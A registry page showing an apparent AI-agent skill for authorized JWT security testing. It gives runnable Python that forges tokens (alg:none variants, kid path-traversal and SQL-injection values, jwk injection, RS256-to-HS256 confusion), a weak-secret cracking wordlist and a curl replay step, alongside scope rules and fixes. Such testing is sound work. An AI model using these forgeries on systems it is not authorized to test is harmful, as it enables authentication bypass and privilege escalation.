jwt-attacks
Skill153 starsChanged 44 days agoMITView on GitHub
Forge and re-sign captured JWTs to test signature validation - algorithm confusion (alg:none, RS256 to HS256), key injection, and secret cracking. Use when testing JWT or bearer-token auth.
- Reads credentials
- Installs packages
4 other projects use a version of this.
Adopted by
Most recently taken up by
- blacklanternsecurity/red-runtheir own version, first seen Oct 25, 2026
- SubhiSec/claude-ai-cyber-security-skillstheir own version, first seen Oct 25, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
- 0xGhostCAT/claude-ai-cyber-security-skillstheir own version, first seen Jun 2, 2026
Other versions4 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 4
- blacklanternsecurity/red-run★ 296same name
- SubhiSec/claude-ai-cyber-security-skills★ 45same name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- langbyyi/websec-skills★ 4same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository41 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- .github/copilot-instructions.mdCopilot instructions
- broken-access-controlSkill
- cdn-peekSkill
- http-request-smugglingSkill
- ssrf-oobSkill
- webapp-probeSkill
- blockchain-forensicsSkill
- foundry-pocSkill
- safe-huntSkill
- smart-contract-auditSkill
- cloud-bucket-bruteSkill
- infrastructure-auditSkill
- dylib-hijack-scanSkill
- endpoint-threat-huntSkill
- parse-securitySkill
- agentic-seoSkill
- agent-onboardingSkill
- context-window-to-skillSkill
- git-commitSkill
- keen-eyesSkill
- no-aispeakSkill
- secure-1pass-accessSkill
- self-improveSkill
- shadow-partnerSkill
- training-guideSkill
- variant-tableSkill
- auditor-quizSkill
- audit-scopeSkill
- evidence-captureSkill
- external-enumerationSkill
- gdocs-audit-reportSkill
- hackerone-reportSkill
- nuclei-suggestSkill
- pre-bountySkill
- sandboxed-audit-runnerSkill
- tiny-auditorSkill
- vm-labSkill
- llm-fuzz-toolsSkill
- mcp-server-pentestSkill
- prompt-injection-auditSkill
The file
We split this skill into the rules it gives an agent
1 rule. 0 are common, 0 are distinctive, and 1 is very specific to this project.
0
Common
Most of the 4 edited versions we read keep these.
0
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 85
If the header carries a kid (key-id), the server uses it to select the verification key - which makes it an injection point.
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Contents
- Scope & authorization
- Step 0 - locate the token and establish a baseline
- Step 1 - offline HMAC secret crack (passive)
- Step 2 - signature stripping (active)
- Step 3 - alg:none family (active)
- Step 4 - kid manipulation (active)
- Step 5 - self-signed key injection: jwk / jku (active)
- Step 6 - RS256->HS256 algorithm confusion (active)
- Runnable snippets
- Output
Scope & authorization
Only run against an application you own or are engaged to test. The offline secret-cracking step (Step 1) is fully passive - it only analyzes a token you already captured and makes no network requests, so it is always safe to run. Every forgery step after it is active: it replays a tampered token against the live server, which mutates the authenticated session and appears in the target's logs. Do not run the active steps against third-party or out-of-scope hosts.
Inputs are the JWTs you already hold - captured from proxy history, a browser session, or an Authorization header the app issued to you. Outputs are "report a finding when the server accepts a token you forged."
Step 0 - locate the token and establish a baseline
- Find the JWT. In each captured request, read the
Authorizationheader. Strip a leadingBearerif present. A JWT is three base64url segments joined by dots (header.payload.signature) and the header segment almost always starts withey(that is{"base64url-encoded). Tokens also appear in cookies and inaccess_token/id_tokenbody or query params - check those too. Skip any auth header whose value does not start withey; after ~3 non-JWT auth values on a host, move on. - Decode it (passive). base64url-decode segment 1 (header) and segment 2 (payload). Note
alg,kid,jku,jwkin the header andexp,iat, roles/scopes/subin the payload - these drive both the crack and the forgeries. - Establish the rejection baseline (active). Before forging anything, confirm the endpoint actually enforces the token: replay the request with a deliberately invalid token (original token with its last signature character changed) and confirm the server answers
401 Unauthorized. Only endpoints that reject a bad token are worth attacking - if an endpoint returns 200 for garbage, it never checked the token and the "forgery accepted" signal is meaningless. Rate-limit yourself: after ~5 filtered requests that fail to return 401 to an invalid token, stop on that host.
Throughout the active steps, the finding condition is identical: you send a token you forged (one you could never have signed legitimately) and the server responds with anything other than Unauthorized - it verified nothing, or verified against something you control.
At this baseline step also test for "dumb" developer mistakes, for example hard-coding API keys in the easily decodable JWT value.
Step 1 - offline HMAC secret crack (passive)
If the token uses a symmetric algorithm (HS256 / HS384 / HS512), its signature is an HMAC keyed by a server secret. A weak/default secret can be recovered offline with zero requests: for each candidate key in a wordlist, attempt to verify the captured token; the key that verifies is the server's signing secret. Once you hold it you can mint arbitrary valid tokens (any sub, any role, any exp).
Report a finding when: any candidate key successfully verifies the captured token's signature. Record the recovered key. Disable claim validation during the crack (do not check exp / aud / nbf / iat / iss) - otherwise the correct secret passes signature verification but the decode call still raises on an unrelated claim (a token carrying an aud claim or a future nbf is enough), and the real key is silently skipped.
Use the bundled references/jwt-secrets.txt (~1,600 weak/default/leaked HMAC secrets) as the primary wordlist - pass it to the cracker below or to hashcat -m 16500 for a GPU run. Always add app-specific candidates too: project name, domain, and the SECRET_KEY defaults of the framework in use. Extend further with the jwt.secrets.list from the wallarm/jwt-secrets collection.
The short list below is only an at-a-glance sample of what references/jwt-secrets.txt covers:
secret
password
changeme
default
jwt
jwtsecret
jwt_secret
jwtSecret
your-256-bit-secret
your_jwt_secret
mysecret
supersecret
secretkey
secret_key
key
private
admin
test
qwerty
123456
0000000000000000Step 2 - signature stripping (active)
Send the token as header.payload. - both original segments unchanged, the signature segment emptied (trailing dot, nothing after it). This tests servers that split on . and only verify a signature when the third segment is non-empty. Report a finding when the server accepts the empty-signature token.
Step 3 - alg:none family (active)
The none algorithm declares "unsigned"; a spec-compliant verifier must reject it on a protected endpoint. Forge an unsigned token: take the original header, set alg, take the original payload, and push exp ~12 hours into the future (so a stale-but-otherwise-valid token isn't rejected merely for expiry). Re-encode header.payload. with an empty signature. Try each casing variant separately - naive blocklists only match one:
none(lowercase)None(title-case)NONE(upper)nOnE/noNE(mixed case)
Report a finding when the server accepts any casing of an unsigned token with the alg set to a none variant.
Step 4 - kid manipulation (active)
If the header carries a kid (key-id), the server uses it to select the verification key - which makes it an injection point. Forge a token whose kid points somewhere predictable, then sign with a key you control:
- Path traversal to a null/empty file: set
kidto../../../../../../../dev/null(and, for parsers that read akfield, setkto empty or the base64 of a null byte,AA==), then HMAC-sign the token with an empty key. If the server loads/dev/nullas the key material, it verifies your token against an empty key - which you used - and it passes. - SQL-injection / other traversal targets in
kid(e.g.' UNION SELECT 'known-key'--) follow the same shape: make the key the server fetches be one you know, then sign with it.
Report a finding when the server accepts a token whose kid you redirected and which you signed with the resulting known/empty key.
Step 5 - self-signed key injection: jwk / jku (active)
These attacks make the token carry (or point at) the verification key, so a server that trusts header-supplied keys will validate a token you signed with your own keypair.
- Embedded JWK (
jwkheader). Generate your own RSA keypair. Build a header withalg: RS256(force it if the original used a different family), akid(reuse the original's or your public-key thumbprint), and ajwkobject containing your public key (kty: RSA,e: AQAB,n:= your key's base64url modulus). Sign the token with your private key. A server that verifies against the inlinejwkinstead of its own trusted key will accept it. - jku header pointing at your JWKS. Set
jkuto a URL you host serving ajwks.jsonthat contains your public key, and sign with your private key. This is noisier (it makes the server fetch an attacker URL, leaving a callback fingerprint) - only run it where an out-of-band HTTP hit is acceptable, and prefer an in-scope collaborator/canary host. Watch for SSRF-style allowlist bypasses (jkuhost-confusion,@-tricks) if the server restricts thejkuorigin.
Report a finding when the server accepts a token signed by your own keypair because it trusted a key you supplied in jwk or fetched via jku.
Step 6 - RS256->HS256 algorithm confusion (active)
When a token is RSA-signed (RS256/RS384/RS512), the server holds an RSA public key to verify it - and that public key is not secret. If the server picks its verification algorithm from the token's own alg header, switch alg to HS256 and sign the token using the RSA public-key PEM text as the HMAC secret. A confused server will HMAC-verify with the public key it thinks is an RSA key - a value you also hold - and accept the token.
You need the server's public key. Obtain it from the app's JWKS endpoint (/.well-known/jwks.json, /jwks), from the TLS certificate, or reconstruct it from two captured tokens (the rsa_sign2n technique recovers n from two signatures). Then HMAC-SHA256 header.payload using the exact PEM bytes as the key. The HMAC key must be byte-identical to the key the server holds, so try the public key both with and without a trailing newline and in both PKCS1 (BEGIN RSA PUBLIC KEY) and X.509/SPKI (BEGIN PUBLIC KEY) PEM encodings.
Report a finding when the server accepts an HS256 token that you signed with its RSA public key as the HMAC secret. (The source query flags this alongside jku tampering, ECDSA confusions, and CVE-2017-11424-style public-key confusions as high-value follow-ups to the automated checks above.)
Runnable snippets
Both snippets require pyjwt and cryptography (pip install pyjwt cryptography). The crack tolerates blank or malformed wordlist lines - a candidate that cannot be used as an HMAC key raises and is skipped rather than aborting the run.
Passive crack (Step 1) - no network, tries the bundled jwt-secrets.txt against a captured token. Set $JWT to the token and $WL to this skill's wordlist (references/jwt-secrets.txt):
python3 - "$JWT" "${WL:-references/jwt-secrets.txt}" <<'PY'
import sys, jwt, warnings
warnings.simplefilter("ignore")
tok = sys.argv[1]
wl = open(sys.argv[2], encoding="utf-8").read().splitlines()
opts = {"verify_signature": True, "verify_exp": False, "verify_aud": False,
"verify_nbf": False, "verify_iat": False, "verify_iss": False}
for k in wl:
try:
jwt.decode(tok, k, algorithms=["HS256","HS384","HS512"], options=opts)
print("CRACKED secret:", repr(k)); break
except Exception:
pass
else:
print(f"no key in {len(wl)}-entry wordlist matched")
PYForge the active mutations (Steps 2-6) from a captured token, then replay each against the live endpoint:
python3 - <<'PY'
import json, base64, hmac, hashlib, time, jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
TOKEN = "PASTE_CAPTURED_JWT_HERE"
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
d64u = lambda s: base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
h_seg, p_seg, s_seg = TOKEN.split(".")
hdr = json.loads(d64u(h_seg)); pl = json.loads(d64u(p_seg))
pl["exp"] = int(time.time()) + 12 * 3600
enc = lambda o: b64u(json.dumps(o, separators=(",", ":")).encode())
forgeries = {}
forgeries["strip"] = f"{h_seg}.{p_seg}."
for a in ("none", "None", "NONE", "nOnE", "noNE"):
forgeries[f"alg={a}"] = f"{enc({**hdr, 'alg': a})}.{enc(pl)}."
kh = {**hdr, "alg": "HS256", "kid": "../../../../../../../dev/null", "k": ""}
si = f"{enc(kh)}.{enc(pl)}"
forgeries["kid-devnull"] = si + "." + b64u(hmac.new(b"", si.encode(), hashlib.sha256).digest())
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
nums = priv.public_key().public_numbers()
n_b64 = b64u(nums.n.to_bytes((nums.n.bit_length()+7)//8, "big"))
jwk_hdr = {**hdr, "alg": "RS256",
"jwk": {"kty": "RSA", "use": "sig", "e": "AQAB",
"kid": hdr.get("kid", "poc"), "n": n_b64}}
pem = priv.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.PKCS8,
serialization.NoEncryption())
forgeries["jwk-inject"] = jwt.encode(pl, pem, algorithm="RS256", headers=jwk_hdr)
PUBKEY_PEM = b"-----BEGIN PUBLIC KEY-----\n...server public key...\n-----END PUBLIC KEY-----"
ch = {**hdr, "alg": "HS256"}
ci = f"{enc(ch)}.{enc(pl)}"
forgeries["rs->hs"] = ci + "." + b64u(hmac.new(PUBKEY_PEM, ci.encode(), hashlib.sha256).digest())
for name, tok in forgeries.items():
print(name, tok)
PYReplay each forged token and read the status line - anything that is not 401 on an endpoint that rejected your Step-0 invalid token is a finding:
curl -sk -o /dev/null -w '%{http_code}\n' \
-H "Authorization: Bearer $FORGED_JWT" "https://TARGET/protected/endpoint"Output
Report per token and per endpoint:
- JWT located - where (header/cookie/param), its
alg, and whether the endpoint enforced it (401 baseline confirmed). - Passive: secret cracked? If yes, name the recovered key - the server's HMAC secret is fully compromised and arbitrary valid tokens can be minted.
- Active: for each mutation (signature-strip, alg:none casing, kid, jwk/jku, RS->HS) state accepted / rejected, with the status line the server returned to the forged token.
- Verdict. Clean - every forgery rejected with 401 and no secret cracked. Vulnerable - name each accepted forgery and what it grants (auth bypass, privilege escalation via a forged
role/sub). Fix: pin the accepted algorithm server-side and never readalgfrom the token; rejectnone; verify only against a server-held key, never an inlinejwk/jku; use a high-entropy random HMAC secret; validatekidagainst an allowlist.
State which steps ran and which did not (e.g. RS->HS skipped for lack of the public key) so coverage stays honest; never present an unrun step as clean.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

